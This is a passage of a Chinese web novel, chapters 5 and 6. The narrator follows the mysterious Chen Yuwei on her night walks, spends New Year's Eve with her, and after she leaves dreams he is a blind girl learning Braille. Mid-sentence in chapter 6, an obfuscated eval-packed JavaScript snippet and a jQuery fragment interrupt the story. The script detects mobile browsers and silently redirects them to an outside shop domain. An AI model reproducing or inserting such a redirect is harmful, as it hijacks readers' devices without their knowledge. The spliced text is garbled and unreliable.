5
雨薇失踪了。
不，也许这个说法不准确。
是在我睡熟之后她离开，早上又静悄悄回来。这是我偶然发现的结果。
无尽黑暗，赤身裸体，周边狗吠，身被束缚……这样陌生又熟悉的噩梦反复出现在我的梦乡，让早出晚归的我□□和精神很难扛得住，白天上班没精神，晚上不敢睡。
偏偏春节临近，工作比往常更忙，搞得我极度疲劳、心慌心悸，身体状态很是糟糕。老家的父亲打来电话，问我哪天放假，还说有一位蛮好的女孩，等我回去了介绍给我。年年相亲，年年不成，我早就兴味寡淡，之所以参加更多的是照顾到父母他们的情绪。
现在心仪的女生近在眼前，却如远在天边，叠加身心的疲惫，我说不出的暴躁，隔着电话跟父亲吵了起来，挂断电话之前我凶狠狠地表示，“今年不回家过年了！”
有没有女朋友，回不回家，日子一天天还在向前。奇怪的是，雨薇不在的夜晚，我总能一觉到天亮，好像她是噩梦的来源。
发现雨薇不在卧室，是偶然的一天夜里我肚子不舒服，卫生间的纸恰好用光了，我只好敲门拿纸。敲了半天没人回应，我急得准备踹门，结果门一推就开了，床上的被子掀开着，手机还在枕边，却没了雨薇的身影。
大半夜的她去了哪里？牵挂她的去向，我没怎么睡踏实，迷迷糊糊到凌晨四五点钟才听到动静，还有随她带来的冷空气。她没有察觉到我醒了，蹑手蹑脚地关上门，我恶作剧般地大声叫住了她：“大半夜鬼鬼祟祟地去哪儿了？”突如其来的声音，吓她一个激灵，她心虚地解释：“我……我睡不着，出去走走。”
“你走得够长，用了三个多小时？”我不信。底气不足的陈雨薇，一下子硬气了，下巴翘得老高，借着窗外射进来的路灯都能感受她的傲娇，她说：“北京这么大的地儿，你三天三夜也走不完。”说罢径自进了屋，不再理会我的惊奇。
雨薇的神秘让我好奇，压过了睡觉休息的本能。周六白天睡足了，夜晚装睡，等着她出门，我跟上去一探究竟。她出了门，我数了三十秒才从沙发上起来穿衣服，学着刑侦电视剧里的手段，轻手轻脚跟上。
路过小区垃圾分类地点，有个没有脑袋的人形物种忽然动了一下，从旁经过的我吓了一跳，“干什么？”近了我再看清，这人把脑袋伸进了垃圾桶，借着手机闪光灯翻找垃圾。因为对方的衣服颜色与垃圾桶相近，身影几乎嵌进一处，所以不好认出来。
对方的脑袋从垃圾桶抽出，拿着闪光灯照着我，我下意识避开刺眼的光芒，“大姐，这么冷的天，你三更半夜出来捡……拾荒？”捡垃圾未出口，我改成了文雅一点的拾荒，中年大姐不懂什么叫拾荒，我只好说捡垃圾。她呵呵笑道：“没办法，天亮了来捡啥都没了，我们干这一行也不容易，卷得很啊。”
听了她这话，我心里莫名舒坦了一些，想想自己的工作何尝不是起早贪黑，没办法！大姐踢了踢地上整理好的塑料瓶和纸片，“早起的鸟儿有虫吃，还要再去别的小区跑跑。”我冲她竖了个大拇指。
重新把脑袋扒进垃圾桶里的大姐，掏出一个完好的外卖跟我抱怨道：“谁啊，老是浪费粮食，你看又是未打开的外卖。”我一看有点眼熟，再看地址，可不是我住的地方吗？大姐自顾自絮叨着：“老弟啊，你是真不知道，这阵子咱小区总有人糟践东西！面包、方便面、牛奶、外卖、饼干，全是一口没动的，包装都完完整整就扔出来了。我起初看那品相都挺好，舍不得浪费就捡回去吃，结果一尝，淡得一点味儿都没有，难吃死了……”
见雨薇的人影远了，我匆匆告别大姐继续去追。路上几次险些跟丢，我不得不学机灵了点儿，借助粗壮树木和拐弯墙角挡一挡视线。腊月凌晨的北京二环外，街面冷清得只剩空旷，偶有汽车划破寂静疾驰而过，转瞬便没了踪影。昏黄的路灯漫开微弱的光，雨薇的身影在光影里不停挪动，左顾右盼的模样，像个满眼好奇的孩子，细细打量着周遭一切。又像是一个迷失的幽魂，来到了另一个世界，眼里尽是对这新世界的茫然。
她的长发被夜风撩得肆意飘拂，人就在沉睡的高楼与规整的街巷间漫无目的地穿梭。每到一处，于她而言都是从未见过的新奇景致，总要驻足认真凝望，仿佛眼前是世间最珍贵的美好。而跟在她身后的我，早已没了刻意藏身的心思。一来实在熬不住她这般毫无方向的游荡，二来夜里的寒风刺骨，也懒得再躲躲闪闪。就这般隔着十来米的距离跟着。所幸是深夜，换了白天，我这种异样的行为，早被路人瞧出端倪，提醒前面的她了。
“大姐，你到底是不是人啊？穿这么点就不冷？”我望着前头纤细的身影，她身上那件我送的常规款大衣，堪堪勾勒出姣好的曲线，料子瞧着本就不算厚实。这大冷的天，她这么穿着走了许久，半点不见畏寒的样子，我裹着厚厚的羽绒服都冻得够呛，她反倒跟没事人似的？
“冷的话，你就回去呗。”冷不丁的话传来，我下意识想说声好，马上反应过来。雨薇正似笑非笑地看我，我脑袋一转，以彼之道还施彼身，“我白天睡太久，晚上一点都不困，想着你喜欢夜间活动下来走走，没想到还遇上了。”雨薇故意“呵呵”笑了几声，勾了勾手，“既然这样，一起走走吧，也好有个伴儿。”
又冷又困的我，回去就发起高烧，休息了几天才到公司上班。雨薇像个没事人一样，光明正大地昼伏夜出，生物钟来了个大反转。我只能真心服气这位妹子！
盼望着，盼望着，春节假期如期而至，2026年的春节假期多了两天，自腊月廿八开始，不像往年直接从除夕，甚至春节当日算起。廿八，我老老实实在家为疲惫的身体补觉。我跟家里确认了今年春节不回，这让父亲很是不满，说今年不回，明年、后年也别回来。雨薇劝了也没有作用。
除夕上午，网上订的饺子皮和韭菜鸡蛋馅准时送到，鲜灵的韭菜混着嫩黄的蛋碎，裹在保鲜盒里，倒也透着几分年味儿。下午雨薇揉着惺忪的睡眼起床，我俩凑在餐桌前，对着手机里的教程笨手笨脚地学包饺子。捏褶子、捏花边，折腾了半晌，包出来的饺子个个歪歪扭扭，不是皮大馅少撑不起来，就是褶子捏得松松垮垮，没一个看得过眼的。这让我们俩少不了埋怨对方。
到了傍晚，水烧开下锅，刚煮没多久，饺子纷纷“开了口”，十个里有八九个露了馅，鲜绿的韭菜碎混着蛋花飘了满锅，清汤转眼变成了绿莹莹的韭菜蛋花汤，看着又好笑又无奈。
我瞧着这情形，打趣着圆场：“你看，这哪是煮饺子，分明是煮出了春天的生机！”此时，已过了立春节气。“生机吗？”雨薇抬眼瞧着满锅漂浮的韭菜，声音轻轻的，莫名透着几分失落，眼底的光也淡了些。
面对一锅“韭菜蛋花汤”，我拿勺子盛了两碗，雨薇一碗，我一碗，再搭配着几碟小菜慢慢吃。屋里暖融融的，虽吃得不精致，我的心里却莫名觉得踏实又满足。
入夜后，手机响起微信的视频通话铃声，是母亲的微信，接听后她那边的声音压得很低，像是怕被旁人听见：“儿啊，你爹嘴上不说心里老不满了，怪你过年不回家，可又惦记着你，拉不下脸来问，意思是让我打个电话看看你在外头过得怎么样。”
听着母亲的话，我心头一暖，转头把手机镜头对准雨薇，笑着跟她说：“妈，你看，我不是一个人。”
2026年2月6日
6
年味儿是什么？是记忆里噼里啪啦、连绵响到天亮的大地红鞭炮，春节黎明前逐家逐户向长辈磕头拜年的传统礼数，亦是清晨里踏往祖坟、祭拜先辈的一份虔诚惦念①……每个人都有属于自己的答案。
2026除夕的夜晚，我觉得这是长大后经历的多个新年当中最幸福的一次。因为多了一个人，一个温柔美丽的女子陈雨薇，恍惚间让我有了家的错觉！
与她包饺子、话家常，以及温柔的一瞥。尤其当她大大方方在微信视频的画面中笑的时候，我想，母亲心里一定是激动和欣慰的。
我望着笑靥如花的雨薇，心底的表白之意翻涌着快要溢出来，可转瞬就想起一位情场老手的话：表白从不是吹响冲锋号的勇猛进攻，而是站稳了阵地后的对外宣告，是确认恋爱关系的一场仪式。
这念头刚在我脑海转一圈，就听到雨薇说：“央视春晚要开始了，你快点设置好。”我只好压下心绪，走进卧室摆弄笔记本电脑，找到央视的直播。
两把椅子挨在一处，对着一台电脑，我们就在卧室里和全国无数观众一样看起了春晚。雨薇看得格外认真投入，就连春晚间隙穿插的公益广告也瞧得津津有味。这份专注也影响了我，让我收起杂念，陪着她认真地看起来。
说好一起守夜，雨薇像个不守信的小姑娘，春晚的新年倒计时还没来她就靠在椅背上睡了过去。我也有了几分困意，凑到她耳边轻声提醒：“躺床上吧，这样容易着凉。”
她半点动静也无，几缕长发垂落，贴在白净的脸颊上，侧脸倚着椅背沉眠的模样，漾着说不尽的柔婉，瞧得人心头阵阵悸动。我就这般悄悄望着，直到她忽然睁开眼，慌忙别过脸去。
“抱我…… 去床上。” 她的声音轻得像缕风，似是怕惊扰了这深夜的静谧。我不敢相信自己的耳朵，撞进她水润的眼眸里，只见她轻轻点了点头，“我不想动，你抱我到床上去。”呃，看来是我自己想多了。
我糊里糊涂地抱起了她，典型的公主抱，她的手自然地环住了我的脖子，此刻我直觉得脑子晕晕乎乎的，而雨薇像是轻飘飘的，没有丝毫的重量。当我放下她想要离开，她的手却没有松开我，“今晚，留下来陪我到天亮。”
她依偎在我怀里沉沉睡去，我闻着她的发香，难眠。在被子里，彼此的身体隔着衣服，就像当初隔着戴着手套牵手一般。我心里很紧张，但天还是一点点亮了——她说陪她到天亮，天就要亮了。
也许是我习惯了咬文嚼字，心里的不安和不舍一点点强烈起来。
男人的直觉同样可靠。天亮了，雨薇走了，像一场梦醒了，除了衣服什么也没带，包括我给她的旧手机。
她说这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641752|206700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
段时间她的记忆渐复了一些，她要去实地寻找她的过往，告诉我，我与她不是一个世界的人，我不必等她。我不知道她这话是什么意思，但我却有种强烈的不安，好像她真的一去不复返。
事实也确实如此，春节假期结束，我又投入到了繁忙的工作当中。房间里有关她的气息随着时间推移，越来越淡，越来越少，好像她这个人从没出现过——我们终究是两条平行线，只在某一瞬短暂相交。
每晚下班回家，推开门、打开灯，我的视线总会落在女歌手陈雨薇的壁纸，她的眉眼间似乎与我认识的雨薇有些像，让我恍惚。这位我满心欢喜追过的偶像女神，如今心里早已没了当初的躁动，也没再主动听她的歌。
“曾经的女神啊，现在的我已经有了真正属于我的女神，感谢你曾经的相伴。”我对着壁纸上的画像自言自语，随即动手清理，假如雨薇回来，进屋肯定感到眼前一新。
忙到深夜睡不着，干脆打开电脑继续酝酿小说的创作，希望在旧作《少女暖暖：忌日·招魂》的基础上，搞点新的东西来。雨薇在的日子，我的注意力不自觉放在她身上，写作也没有打开思路，她走了更没有心思创作。今夜难得沉下心来，梳理旧作找灵感。
《少女暖暖：忌日·招魂》里的主角不信邪，在微信上以减少一半的寿命为代价“招魂”到了一名美女鬼。当主角了解到自己的寿命莫名减半，他感到了恐惧，相比于温香软玉，他更在意自己的生命。所以，他问可以中止吗？女鬼说是你把我召唤来的，现在你我生命共享，就是找来道人除我，你减少一半的寿命也不会回来。
有了阳间男子的生命共享，女鬼渐渐有了体温，心脏偶尔还能跳动一下。主角看着活色生香的女鬼，说不心动那是鬼都不信，可是他也是有女朋友的人。此时，他面临着一个抉择，跟美丽的女鬼过一辈子，还是活生生的女朋友？
如果换作以前的我，用一半寿命换来国色天香的女人相伴半生，那是千值万值！何况，对于家庭条件普普通通的我，人高价举债娶一个女人回来，与命换何其相似？此时与以往不同，认识了雨薇，自己找到了生命当中值得追求的光，便觉人间值得，想好好守着这份温柔，一起走往后的路！新的小说怎么写，我隐隐约约有了一些想法。
凌晨醒来一次，看了一眼时间，三点多钟。继续睡，这次却睡得不那么踏实了，半梦半醒之间，我听到有人在叫“小薇”，是自己太过想念她了，连梦里都在叫她的名字。不对，不是我在叫雨薇，我从来没有称她小薇，而是有人在我身旁叫小薇。声音很温柔，像是母亲的声音，“小薇这是冰激凌，你摸摸看，凉凉的。再闻一闻，很香甜吧，这是香芋味道的冰激凌哦……”
我听话地去做，果然凉凉的又香香的，味道好极了。我又根据母亲的提示摸到盖子，打开了它，将冰激凌递到嘴边，用勺子小心地挖起一块。
我虽然生下来就看不到东西，却从未被世界剥夺感知美好的权利，至少我的听力感官一切正常，要比海伦·凯勒幸运。和她一样的是，我要学习在黑暗中认识这个世界。没有视力，我只能通过指尖、耳畔、鼻尖的触感，一点点勾勒出这个世界的模样，学着好好生活，好好成长。
母亲总说，“眼睛看不见，心就要亮起来。”我学习的第一步，是认识身边的一切，不是用眼睛看，而是用手去摸，用耳朵去听，用心灵去记。母亲会把我的手放在她的脸上，一点点抚摸她的眉毛、眼睛、鼻子和嘴巴，轻声告诉我：“这是眉毛，弯弯的，像月牙；这是眼睛，能看到小薇的样子，能看到天上的太阳和星星；这是嘴巴，能说出爱你的话，能尝到甜甜的果汁。”
我一遍遍摸着，把那些触感刻在心里，再听到母亲的描述，就仿佛能在脑海里画出她的模样——一定是世界上最温柔的样子，就像她的声音一样。后来，我开始学习盲文，教导的老师极有耐心，一个个教我触摸那些凹凸不平的点。一开始很难，指尖被磨得有些发红，有时候一个字母要摸上几十遍才能记住，有时候会因为记不住而着急地掉眼泪，甚至想过放弃。
母亲从不会责备我，只是轻轻擦掉我的眼泪，把我的手裹在她的手心里，温柔又坚定地说：“小薇不怕，慢慢来，每一个盲文，都是一个小小的光芒，学会了它，你就能读到很多故事，就能和这个世界好好对话。”我一点点坚持着。白天，我摸着盲文课本，反复练习，从简单的字母到词语，再到句子，每学会一个，就像收获了一颗甜甜的糖果。晚上，母亲会给我读海伦的故事，告诉我海伦也是看不见、听不见的，却凭着坚持，学会了说话、读书、写字，还写出了《假如给我三天光明》那样动人的文字。我听着，心里就充满了力量，我告诉自己，我也可以像海伦一样，像母亲期待的那样健康茁壮成长。
“不，我不是小薇，我是武致远，一直是健全的人，耳聪目明，不需要以盲人的方式学习！”我心中咆哮，可是感觉自己还是不受控制地去学习盲人认识世界的方式，自我的意识在“小薇”的世界一点点迷失……
2026年2月7日